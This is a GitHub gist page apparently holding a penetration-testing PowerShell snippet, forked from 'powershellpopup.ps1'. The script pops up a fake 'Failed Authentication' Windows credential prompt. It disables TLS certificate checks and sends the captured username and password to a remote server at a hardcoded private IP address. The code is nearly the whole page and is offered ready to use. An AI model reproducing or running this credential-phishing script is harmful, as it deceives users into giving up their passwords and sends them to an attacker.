Skip to content

Instantly share code, notes, and snippets.

@KINGSABRI
Forked from mubix/powershellpopup.ps1
Last active August 29, 2015 14:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save KINGSABRI/20328089281dd356d49a to your computer and use it in GitHub Desktop.
Save KINGSABRI/20328089281dd356d49a to your computer and use it in GitHub Desktop.
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('https://172.16.102.163');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment